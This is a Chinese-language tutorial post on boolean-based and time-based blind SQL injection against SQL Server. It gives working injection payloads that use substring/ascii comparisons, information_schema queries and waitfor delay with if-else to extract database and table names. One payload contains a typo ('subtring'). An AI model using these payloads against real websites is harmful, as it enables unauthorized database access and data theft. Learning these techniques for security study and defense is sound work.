13-Web安全——基于sql server的布尔盲注,时间盲注

SQL Server的注入方式和MYSQL注入的原理上是相通的,关于布尔盲注和时间盲注可参考的文章:4-Web安全——SQL盲注

 

使用布尔盲注获取数据库名:

id=1' and ascii(substring(db_name(),1,1))>80 --+

13-Web安全——基于sql server的布尔盲注,时间盲注_第1张图片

 

 

使用二分法对数据库名进行猜解,第一个字符的ascii码值是115,正好是字母s:

13-Web安全——基于sql server的布尔盲注,时间盲注_第2张图片

举例,使用布尔盲注查询表名时就可以构造查询表名的sql语句作为参数传入到substring函数中。

 

 

查询表名的sql语句:

select top 1 table_name from information_schema.tables

 

作为参数传入到substring函数中

id=1' and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=117 --+

13-Web安全——基于sql server的布尔盲注,时间盲注_第3张图片

ascii码值为117的字符就是字母u。

 

 

关于sql server数据库的时间盲注用到的函数:waitfor和if else 。

 

 waitfor :指定触发语句块,存储过程或事务执行的时间,时间间隔或事件。函数原型:

waitfor(delay time | TIME time)

delay表示过了指定时间后再执行sql

TIME表示到了指定时间后再执行sql

time表示指定的时间,其格式为:HH:MM:SS,最长可为24小时

 

 

举个例子:

select * from users where id=4 waitfor delay '00:00:03';

13-Web安全——基于sql server的布尔盲注,时间盲注_第4张图片

该SQL语句表示过了三秒后,再执行SQL语句。

 

 

if语句是用于条件判断的:

if(1>0) begin xxx end else begin xxx end

else前的begin表示条件为真执行的动作,else后的begin表示条件为假时执行的动作。

 

 

举个例子,该图表示如果1大于2则查询id为1的用户名和密码,否则查询id为2的用户名和密码:

13-Web安全——基于sql server的布尔盲注,时间盲注_第5张图片

 

 

使用waitfor delay语句的执行时间来判断当前网页的闭合方式:

13-Web安全——基于sql server的布尔盲注,时间盲注_第6张图片

 

通过事件盲注的方式获取数据库名字:

if(ascii(subtring((db_name()),1,1))>100)
begin
waitfor delay '00:00:00'
end
else
begin
waitfor delay '00:00:04'
end

 

可以看到数据库名的第一个字符的ascii码值是不大于150的:

13-Web安全——基于sql server的布尔盲注,时间盲注_第7张图片

 

 

写在最后:由于在学习MYSQL注入方式中对sql盲注的原理和方式已经非常详细的介绍了一遍,本篇将着重介绍sql server盲注的sql语法和思路,以及与其他数据库注入方式之间的差异。

你可能感兴趣的:(网络安全)